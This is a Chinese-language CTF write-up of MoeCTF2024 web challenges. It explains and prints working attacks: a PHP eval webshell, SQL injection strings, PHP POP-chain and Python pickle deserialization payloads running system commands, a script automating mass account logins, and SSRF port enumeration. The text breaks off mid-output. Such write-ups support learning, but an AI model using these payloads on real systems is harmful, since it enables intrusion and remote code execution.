MoeCTF2024 Write UP

CTFerName:fifker
题目链接:https://ctf.xidian.edu.cn/training/10
文章内容有些是大一刚学习的时候写的,有些是后来补写的,没有仔细核验校改。如果出现有误或者语言风格不统一请见谅!

Web

Web渗透测试与审计入门指北


下载得到两个文件,先看看HTML。


只有一行字

看看HTML的源代码,结合PHP文件内容来看,只需要配置一下phpstudy,把这两个文件都扔到phpstudy下面的WWW里面。
然后使用http打开HTML文件。

即可获得flag

弗拉格之地的入口


由题目可以得知一个叫做‘爬虫’的生物,由此可以想到机器人协议。


直接修改URL,查看disallow


就可以获得flag了。

垫刀之路01: MoeCTF?启动!


题目告诉我们已经获得了shell权限。


那么根据习惯,我们直接查看根目录/,发现了flag的踪迹。


cat查看一下,得知需要查看环境变量:

1
env


查看环境变量可得flag。

ImageCloud前置


?URL是一个很经典的漏洞,开放重定向漏洞,因此我们可以控制重定向的目标。


得知flag所在地。


那就直接查看即可。


获得flag。

ez_http

一道经典考察http请求包的题目,但是流程较长,使用Hackbar容易崩溃。(包括使用者)

想都不用想,直接点击Hit the question setter
然后就会得到回复Big 胆
因此按照提示,使用POST方法传参。
由于使用Hackbar经常没办法坚持到流程结束,所以使用burp suite抓包。
(如图显示render的界面是发送后界面)


抓包并发送至repeater,选择render


如图所示,修改请求包,发送


同理


如图所示
这里涉及到两个知识点。
第一个是同时要使用POST方法和GET方法的时候,在HTTP请求包中使用POST方法。
第二个是GET方法传输汉字需要经过URL编码。


涉及到源头source,则使用referer朔源


设置曲奇饼干


修改代理浏览器


最后一步,本地访问,获得flag

ProveYourLove

(此题还有个七夕限定7分)

这里flag提示说’your love is not yet fulfilled’,那就代表要按照题目所说的表白300份


正常提交一份之后会发现无法再提交了。


因此打开bp,提交表白,寻找POST请求头的Http包。


将请求包发送至爆破模块


发送300+1条表白,表白成功,获得flag

弗拉格之地的挑战

这一题的流程也较长,题目难度从浅到深,很有意思,好玩!

首先看到下面的一个HTML文件,直接url转跳进去,开始第一关。

我们得知第一题的考点在HTML,又提到了一个关键词,空白。
那么我们学习HTML第一课就会提到注释这种东西。
F12查看源代码。


记下flag1,并且通过url转跳到flag2


flag2,习惯性看下源代码
既然说到了HTTP,那就代表需要抓包,bp启动!


抓包,然后扔到repeater,记下flag2,进入flag3

这个要求有点经典

GET的读取方法就在url里面

然后用hackbar POST一个参数b
(很好hackbar崩溃了,最后一步用bp来完成)


把认证从用户改成管理员即可。
记下flag3,继续向着flag4前进吧。

朔源,使用referer。

正式进入flag4。

听声辩位,要回答9,但是并没有。
阅读源代码,我们发现用POST方法传输一个’method=get’就可以了

(这里插播一个发现的预期解)

将按钮8的id改为9。


收好flag4,出发去flag5啦。

很明显直接输入’I want flag’是不行的。


阅读源代码,发现一个函数content。


同flag4,直接POST一个即可。


需要看代码了,来看看什么意思。
首先需要GET和POST方法都得到一个参数moe,并且要对这个moe里面的内容进行检索。
其次是参数moe里面有flag,但是又不能有flag。
那么我们就需要知道/i 的意思是大小写不敏感。
因此如果检索到有flag原原本本这四个字母,则会die。
但是如果输入Flag,fLag,在大小写敏感的情况下会检索不出来,但是不敏感的时候可以,则会echo出答案。


准备最后一关了。


最后一步,一个eval函数就已经告诉你了,这么危险的函数怎么不用下试试?


使用代码:

1
system()

或者
1
echo shell_exec()

(注意,括号里的命令是字符串。)
直接看一眼根目录有什么东西,看到了flag7。

拿到flag7。
我们可以发现7个flag都是一段字母,我们可以给它拼起来。
我们发现flag7的结尾是=,那么可以推测是Base64或者Base32。
放入在线解码器,获得flag。

至此7关完结,7关环环相扣,获得难度从低到高由浅入深,又涵盖了web方向常见的题目,用故事的方式引导参赛者一步一步学习前进,出的确实很巧妙。

垫刀之路02: 普通的文件上传


阅读题目,只需要写一个简单的木马就行。
我们可以写一个经典的一句话木马。

1
<?php @eval($_POST['muma']); ?>

导入进去就可以获得shell权限了。
使用hackbar用POST方法或者蚁剑都可以,连接。(以下使用hackbar)

导入木马。


根据上一题的经验,直接查看环境变量,获得flag。

垫刀之路03: 这是一个图床

由题目可知,这次只能上传图片了,那么我们就将上一题的木马后缀改为jpg。

导入的时候使用bp抓包,在http请求包中修改后缀位php。



如图所示。


后面的内容与第二题一样的,获得flag。

垫刀之路04: 一个文件浏览器


readme告诉你了,这些东西都没用,直接看看上一级文件。


可以看到一些其他东西,那么就继续一层一层往上爬。


找到了万恶的cfbb的藏宝点。


获得flag。

静态网页


直接攻击看板娘。
既然说了后端,那就尝试抓包。


抓一个,发现并不是。


抓到了下一步的php题了。



代码审计,如图所示即可获得flag。

垫刀之路05: 登陆网站


输入万能密码。

1
'or 1='1

垫刀之路06: pop base mini moe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

审计一下源代码:
通过GET方法获取参数data,然后对data进行反序列化的操作。

因为这几个PHP题目是后来补写的,这里就不详细说明各个魔术方法的作用了。根据类A的__destruct()方法可以推测出A是本道POP链子的入口点,因此:

1
2
3
$a = new A();
// urlencode 可以确保 private 产生的不可见字符 %00 不会在传输中丢失
echo(urlencode(serialize($a)));

然后为了让链子能和类B相连,考虑到__invoke($c)魔术方法,因此就需要把类A的this->$a赋值为类B。然后我们会发现:

1
private $a = new B();

会报错。为什么?因为PHP的类属性的默认值只能接受字面量或常量,不能接受表达式(包括对象实例化)。

因此你可以给a赋值一个null、布尔值、整数、浮点数、字符串、数组。但是就是不能使用函数、方法调用或new操作符,因为这些表达式在编译时无法求值。

因此我们只能在运行的时候动态赋值:

1
2
3
function __construct() {
$this->a = new B;
}

这样在调用__destruct()方法的时候:

1
2
3
4
function __destruct() {
$s = $this->a;
$s($this->evil);
}

a作为一个类B的对象就会被当作函数调用从而触发__invoke()方法:

1
2
3
4
function __invoke($c) {
$s = $this->b;
$s($c);
}

类A的evil属性就会作为类B中的c属性被当作参数传入这个“函数b”。那么我们只需要将b设置为system函数,就可以实现RCE了!

最后的exp(直接在源代码上面审计,修改是一个很好的方法,因此我只在源代码基础上修改了需要改的部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class A {
// 注意 private 属性的序列化哦
private $evil = "cat /flag";

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
function __construct() {
$this->a = new B;
}
}

class B {
private $b = "system";

function __invoke($c) {
$s = $this->b;
$s($c);
}
}

$a = new A();
echo(urlencode(serialize($a)));

拿到flag。

后知后觉:这一题的class B根本用不上。我们重新审计代码:

1
2
3
4
function __destruct() {
$s = $this->a;
$s($this->evil);
}

我们会发现这里我们已经满足了RCE的全部条件。函数$s和参数$this->evil的内容我们全部可控。因此这样即可:

1
2
3
private $evil = "cat /flag";

private $a = 'system';

可能是为了考上面那个知识点吧。这里也告诉我们一道题未必所有类都要用上(有可能出题人有失误)。

垫刀之路07: 泄漏的密码


URL里直接跳转/console。


习惯性从根目录获得flag,但是被预判了。


放弃绝对路径,直接cat flag。

勇闯铜人阵

脚本题,写个脚本即可,脚本如下:

写出脚本,运行。


获得flag。

电院_Backend

dirsearch扫一下发现有robots.txt,发现admin路由。

进入后就是登陆界面了,看上去就是Sql注入入口。题目给了源码,看一眼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mySqli_connect("localhost","root","123456","xdsec",3306);


$Sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mySqli_query($conn,$Sql);
$row = mySqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>

这一看就是一个Sql注入,注入的位置在邮箱这里。来看看这里面的逻辑:

1
preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)

这是一个正则表达式,对邮箱的格式进行了一个限制,相信会看这篇文章的同学应该还没有接触过正则表达式。所以我们先来看看这个这个表达式是什么意思:

符号 含义 说明
/ 定界符 正则表达式的开始和结束
[a-zA-Z0-9] 字符类 匹配任意单个字母(大小写)或数字
+ 量词 匹配前面的字符类至少1次(1次或多次)
@ 字面量 匹配字符 @
[a-zA-Z0-9]+ 同上 匹配域名部分(@后面到点之前)
\\. 转义的点 匹配字面量点号 .(因为点在正则中是特殊字符)
[a-zA-Z0-9]+ 同上 匹配顶级域名(com、cn等)

因此,只要满足这个要求的邮箱都可以通过,比如:

邮箱 拆解
abc@def.com abc + @ + def + . + com
a1@b2.c3 a1 + @ + b2 + . + c3
123@456.789 纯数字也OK
admin@localhost.com 正常邮箱
1@1.1 最短情况(1个字符@1个字符.1个字符)

但是问题来了!这个正则表达式是没有锚定边界的。

补充说明:什么是锚定边界?

锚定边界就是使用^$来限制匹配的位置。

当前代码是这样的:

1
"/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/"

意思是在字符串的任意位置找到这个模式就算匹配成功,可以匹配字符串的开头、中间或结尾

这就意味着这些全部能匹配成功!你可以在邮箱前面后面塞入任何你想塞入的代码。

邮箱 拆解
xxx abc@def.com xxx 前后有字符
1@1.1’ or 1=1 后面拼接Sql
恶意代码1@1.1恶意代码 前后都可以

我们来对比一下有锚定边界的安全写法:

1
"/^[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/"
符号 含义
^ 匹配字符串开头
$ 匹配字符串结尾

这意味着整个字符串必须完全符合这个模式,不能多任何字符。

邮箱 拆解
abc@def.com 纯邮箱
xxx abc@def.com 不行,开头多了字符
abc@def.com xxx 不行,结尾多了字符
1@1.1’ or 1=1 不行,后面拼接Sql

因此,这个没有锚定边界的正则就可以直接无视,进行Sql注入。

然后是对于or的限制:

1
preg_match("/or/i", $email)

这里的参数i意味着大小写不敏感,也就是orOrORoR都不可以通过。这其实很简单,使用||就可以了…

所以最后的exp:

1
1@1.1' || 1=1 # 

pop moe

首先依然还是审计源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

class000中看到了__destruct()魔术方法,那么基本这个POP链的开头就是class000了。那我们就顺着class000往下看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

首先$this->payl0ad不能为0,因此我们要改一下,比如改成1就可以了。

然后这里会触发check()函数,会让$this->what被当作函数调用。由此我们可以自然想到__invoke()魔术方法,并且在类class001里面找到了,因此自然想到把$this->what通过__construct()魔术方法构造类class001的对象。(为什么要使用__construct()魔术方法在前文垫刀之路6里面有详细说明)

接下来我们继续往下看:

1
2
3
4
5
6
7
8
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

这里会把$this->payl0ad赋值给$this->apayload。乍一眼看很迷惑对吧。我们来结合class002看看呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

这里__set()魔术方法说明了一切:“当尝试写入一个不可访问或不存在的属性时,__set()魔术方法会被调用”。

那就很好想到了,把$this->a构造为类class002的对象,那class002自然不可能存在payl0ad这个属性,就会触发__set()魔术方法。这时候class001$this->payl0ad就会当作__set($a, $b)的参数$b被传入。

这样就可以把$this->payl0ad设置为dangerous来调用dangerous函数了。

为了保证前后可以衔接,我们先来看看class003,看看怎么样才能实现RCE:

1
2
3
4
5
6
7
8
9
10
11
12
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

很明显,最后RCE的地方是evvval函数,参数$str为我们执行的命令。

但是矛盾出现了?函数dangerous($whaattt)的作用是触发$whaattt的函数evvval($this->sec)。很明显$whaattt只能是类class003的一个对象。

但是,从上一条魔术方法__set()那里可以得知,$whaattt$this->sec是等价的。一个是对象,一个是字符串,怎么办?这时候我们刚好能发现class003居然有一个__toString()魔术方法,一切都解决了,成功RCE。

最后发现cat /flag居然什么也没有,根据MoeCTF的习惯查看一下环境变量,拿到flag。

总结来说就是class000->class001->class002->class003这样一条链子。出题人很贴心顺序都帮你标好了。

对于初次学习的同学来说,POP确实是很绕的有难度的。不仅要熟悉各个魔术方法的调用条件,更要能理清楚链子的顺序和关系。不过熟悉操作后就会发现只是一个普通的逻辑游戏罢了,主要还是静下心来一点一点理清楚不同类之间的关系,建议自己动手自己分析一次。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

class class000 {
private $payl0ad = "1";
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
public function __construct()
{
$this->what = new class001();
}
}

class class001 {
public $payl0ad = "dangerous";
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}

public function __construct()
{
$this->a = new class002();
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

public function __construct()
{
$this->sec = new class003();
}
}

class class003 {
public $mystr = "system('env');";
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

$a = new class000();
echo(urlencode(serialize($a)));

从零开始的 XDU 教书生活

先来看看题目信息:让所有学生都以学生账号本人完成签到,然后以教师身份结束签到活动,获得 Flag。

并且有以下信息:

  1. 教师账号:10000 / 10000
  2. 学生账号:用户名 == 手机号 == 密码
  3. 二维码页面前端每 10 秒自动刷新一次

首先,学生账号是随机生成的,程序启动时会执行:

1
gen(0, 10000000, 1024)

会随机生成 1024 个学生账号,并把:用户名、手机号、密码都设置成同一个值。这意味着一旦我们拿到学生 UID,就等于同时拿到了账号和密码。

然后就是学生列表泄露:/widget/sign/pcTeaSignController/showSignInfo1

这个接口没有任何鉴权,直接返回所有已签到/未签到学生列表:

  • yiqianList
  • changeUnSignList
  • total

也就是说,不需要登录教师账号,就能直接拿到 1024 个学生的 UID。所以这一步已经等价于拿到了所有学生账号口令。

接着就是当前二维码泄露:/v2/apis/sign/refreshQRCode这个接口同样没有鉴权,任何人都可以调用:

1
2
3
4
5
6
7
{
"result": 1,
"data": {
"enc": "...",
"signCode": "..."
}
}

它会直接把当前可用签到二维码中的两个关键参数返回给我们:
signCodeenc

那问题来了,题面说二维码每 10 秒刷新一次这个二维码不是会变化吗?

但审源码可知,所谓“刷新”其实只是教师端页面里的 JS 定时器在调用:

1
setInterval("ewm()", timefq);

然后 ewm() 去请求:

1
/v2/apis/sign/refreshQRCode

也就是说二维码“10 秒过期”只是前端行为,不是后端强制过期,后端并没有记录二维码生成时间,也没有校验二维码是否超时。

我们再来看看学生签到接口/widget/sign/e的逻辑:

  1. 必须带有学生自己的 token cookie
  2. 请求参数必须携带:idcenc
  3. 命中当前二维码后,把学生状态从 0 改成 1

也就是学生签到接口只检查三个点:

  1. id 是否等于当前活动 ID
  2. c 是否等于当前 signCode
  3. enc 是否等于当前 enc

因此只要没有再次触发 refreshQRCode,当前二维码就会一直有效。

这就是题目真正的突破口之一。

所以,想让“所有学生本人签到”,本质上只需要:先用学生账号登录,拿到学生 token。再带着这个 token 去访问签到接口。这完

全是可以自动化的。

同时登录接口/fanyalogin 支持参数 t

  • t == "true":按前端逻辑走 AES 解密
  • 否则:直接把传入值当明文

所以我们没必要复现前端 AES,只需要明文提交:

1
2
3
uname=<账号>
password=<密码>
t=false

即可完成登录。

最后就是结束活动拿Flag的接口/widget/active/endActive

这个接口要求教师身份调用。

逻辑非常直接:先把活动状态改成结束,然后遍历所有学生。

只有当所有学生状态都为 1 时,才把 errorMsg 设置为 Flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import json
import re
import sys
import time
import urllib.parse
import urllib.request
import http.cookiejar


DEFAULT_BASE = "http://127.0.0.1:46799"


def make_url(base: str, path: str) -> str:
return base.rstrip("/") + path

def read_text(response) -> str:
charset = response.headers.get_content_charset() or "utf-8"
return response.read().decode(charset, errors="ignore")

def open_with_retry(opener, request, attempts: int = 5):
last_error = None
for attempt in range(1, attempts + 1):
try:
return opener.open(request, timeout=10)
except Exception as error:
last_error = error
if attempt == attempts:
break
time.sleep(0.2 * attempt)
raise last_error

def json_request(opener, method: str, url: str, data: dict | None = None) -> dict:
body = None
headers = {}
if data is not None:
body = urllib.parse.urlencode(data).encode()
headers["Content-Type"] = "application/x-www-form-urlencoded"
request = urllib.request.Request(url, data=body, headers=headers, method=method)
with open_with_retry(opener, request) as response:
return json.loads(read_text(response))

def text_request(opener, method: str, url: str, data: dict | None = None) -> str:
body = None
headers = {}
if data is not None:
body = urllib.parse.urlencode(data).encode()
headers["Content-Type"] = "application/x-www-form-urlencoded"
request = urllib.request.Request(url, data=body, headers=headers, method=method)
with open_with_retry(opener, request) as response:
return read_text(response)

def build_opener() -> urllib.request.OpenerDirector:
cookie_jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
opener.addheaders = [("Connection", "close"), ("User-Agent", "Mozilla/5.0")]
return opener

def get_active_id(base: str, opener) -> str:
html = text_request(opener, "GET", make_url(base, "/widget/sign/pcTeaSignController/showSignInfo"))
match = re.search(r'id="activeId" value="(\d+)"', html)
if not match:
raise RuntimeError("failed to extract activeId")
return match.group(1)

def get_students(base: str, opener) -> list[str]:
data = json_request(opener, "GET", make_url(base, "/widget/sign/pcTeaSignController/showSignInfo1"))
return [str(item["uid"]) for item in data["data"]["changeUnSignList"]]

def get_qrcode(base: str, opener) -> tuple[str, str]:
data = json_request(opener, "GET", make_url(base, "/v2/apis/sign/refreshQRCode"))
return data["data"]["signCode"], data["data"]["enc"]

def login(base: str, opener, username: str, password: str) -> None:
data = json_request(
opener,
"POST",
make_url(base, "/fanyalogin"),
{"uname": username, "password": password, "t": "false"},
)
if not data.get("status"):
raise RuntimeError(f"login failed for {username}: {data}")

def sign(base: str, opener, active_id: str, sign_code: str, enc: str) -> str:
query = urllib.parse.urlencode(
{
"id": active_id,
"c": sign_code,
"enc": enc,
"DB_STRATEGY": "PRIMARY_KEY",
"STRATEGY_PARA": "id",
}
)
return text_request(opener, "GET", make_url(base, "/widget/sign/e?" + query))

def end_activity(base: str, opener) -> dict:
return json_request(opener, "GET", make_url(base, "/widget/active/endActive"))

def main() -> None:
base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE
public = build_opener()
active_id = get_active_id(base, public)
students = get_students(base, public)
sign_code, enc = get_qrcode(base, public)

print(f"[+] active_id = {active_id}")
print(f"[+] current qrcode: signCode={sign_code}, enc={enc}")
print(f"[+] unsigned students: {len(students)}")

for index, student in enumerate(students, start=1):
opener = build_opener()
login(base, opener, student, student)
result = sign(base, opener, active_id, sign_code, enc)
if "登录" in result:
raise RuntimeError(f"student {student} sign failed: redirected to login")
if index % 50 == 0 or index == len(students):
print(f"[+] progress: {index}/{len(students)}")

teacher = build_opener()
login(base, teacher, "10000", "10000")
end_result = end_activity(base, teacher)
print("[+] endActive response:")
print(json.dumps(end_result, ensure_ascii=False, indent=2))
if end_result.get("errorMsg"):
print(f"[+] flag = {end_result['errorMsg']}")

if __name__ == "__main__":
main()

ImageCloud

题目有两个 Flask 服务:

app.py是外层服务,对外暴露的图片上传/加载服务。
app2.py是内层服务,随机端口启动,保存并返回 uploads/ 下的图片。

看到内网我们就可以先考虑SSRF(服务端请求伪造)了,SSRF关键点就是:请求不是从攻击者机器发出的,而是攻击者利用漏洞从目标服务器发出的。

因此SSRF常见的情况有:

  1. 访问外网无法直接访问的内网服务,例如 127.0.0.1localhost、Docker 内部网络、云内网地址等。
  2. 探测服务器本机或内网开放端口。
  3. 绕过基于 IP 的访问控制,因为被访问服务看到的来源是目标服务器自身。
  4. 在云环境中读取元数据服务,例如历史上常见的 169.254.169.254

本题中,攻击者无法直接访问内部随机端口服务,但可以让外层服务通过 requests.get(url) 去请求 http://127.0.0.1:<port>/image/flag.jpg,这就是 SSRF 的利用场景。

先审计app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400

try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))

img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

这里有几个明显问题:

  1. url = request.args.get('url') 直接从用户参数中取URL。
  2. requests.get(url) 直接让服务端访问这个URL。
  3. 代码没有做任何目标地址限制。
  4. 后面的 Image.open(BytesIO(response.content)) 只会检查返回内容是不是图片,但内部的 flag.jpg 本身就是合法JPEG图片,所以可以通过这层检查。

因此,只要构造这样的url:

1
http://127.0.0.1:43669/image?url=http://127.0.0.1:<内网端口>/image/flag.jpg

外层服务就会执行,对内网发起请求:

1
requests.get("http://127.0.0.1:<内网端口>/image/flag.jpg")

然后我们再对于app2.py审计:

1
2
UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

图片读取接口:

1
2
3
4
5
6
7
8
@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

随机端口启动逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)

也可以得到几个关键信息:

  1. 内层服务的文件目录是 uploads/
  2. 题目源码中存在 uploads/flag.jpg
  3. 访问路径是 /image/<filename>,因此目标文件路径为 /image/flag.jpg
  4. 内层服务端口不是固定的,而是在 5001-6000 中随机选择。

所以我们只需要通过 SSRF 枚举端口:

1
2
3
4
http://127.0.0.1:43669/image?url=http://127.0.0.1:5001/image/flag.jpg
http://127.0.0.1:43669/image?url=http://127.0.0.1:5002/image/flag.jpg
...
http://127.0.0.1:43669/image?url=http://127.0.0.1:6000/image/flag.jpg

当端口正确时,外层服务会返回图片内容;端口错误时,请求失败并返回错误信息。写一个Python脚本或者bp来爆破端口,看看哪一个端口返回的结果不一样就行。

拿到flag(真难读啊):moectf{c3TtEBR@t3_yoU_attACk_tO-My-tm@G3_CtoudhHhhhH4f6}

PetStore

老规矩,先审计源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)

class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

class PetStore:
def __init__(self) -> None:
self.pets = []

def create_pet(self, name, species) -> None:
pet = Pet(name, species)
self.pets.append(pet)

def get_pet(self, pet_uuid) -> Pet | None:
for pet in self.pets:
if str(pet.uuid) == pet_uuid:
return pet
return None

def export_pet(self, pet_uuid) -> str | None:
pet = self.get_pet(pet_uuid)
if pet is not None:
self.pets.remove(pet)
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
return serialized_pet
return None

def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

store = PetStore()

@app.route("/", methods=["GET"])
def index():
pets = store.pets
return render_template("index.html", pets=pets)

@app.route("/create", methods=["POST"])
def create_pet():
name = request.form["name"]
species = request.form["species"]
store.create_pet(name, species)
return redirect("/")

@app.route("/get", methods=["POST"])
def get_pet():
pet_uuid = request.form["uuid"]
pet = store.get_pet(pet_uuid)
if pet is not None:
return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
else:
return jsonify({"error": "Pet not found"})

@app.route("/export", methods=["POST"])
def export_pet():
pet_uuid = request.form["uuid"]
serialized_pet = store.export_pet(pet_uuid)
if serialized_pet is not None:
return jsonify({"serialized_pet": serialized_pet})
else:
return jsonify({"error": "Pet not found"})

@app.route("/import", methods=["POST"])
def import_pet():
serialized_pet = request.form["serialized_pet"]
if store.import_pet(serialized_pet):
return redirect("/")
else:
return jsonify({"error": "Failed to import pet"})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

这里我们可以看到一个有意思的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

这里可能会让人产生一个误区,就是有一行if isinstance(pet, Pet):进行验证,可以避免植入恶意代码。

事实上当你注入恶意代码的时候,pet = pickle.loads(pet_data)在这里就已经执行了,在这后面做的判断没有任何意义。因此这就是一个基础的pickle反序列化的题目,唯一难点在于没有回显。经过测试发现题目不出网,有可能DNS外带是可行的,这里留给读者自行测试,以下我们给出两种解法:

第一是徒手构造Pickle Opcode,进行静态文件写入,把环境变量和根目录写入./static/flag.txt,就可以直接阅读了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pickle
import base64
import pickletools

# 手动构造 Pickle Opcode
# c: 引入模块和属性 (GLOBAL)
# (: 压入一个标记 (MARK)
# S: 压入字符串参数 (STRING)
# t: 将标记到当前位置的所有元素转为元组 (TUPLE)
# R: 执行元组中的函数 (REDUCE)
# .: 结束 (STOP)

opcode = b'''cos
system
(S'mkdir -p static && env > ./static/flag.txt && ls / >> ./static/flag.txt'
tR.
'''

# 验证 Opcode 的逻辑结构是否正确
print("--- Opcode 解析逻辑 ---")
pickletools.dis(opcode)

# 进行 Base64 编码
payload = base64.b64encode(opcode).decode()

print("\n--- 最终生成的 Payload ---")
print(payload)
1
2
3
4
5
6
7
8
9
10
11
--- Opcode 解析逻辑 ---
0: c GLOBAL 'os system'
11: ( MARK
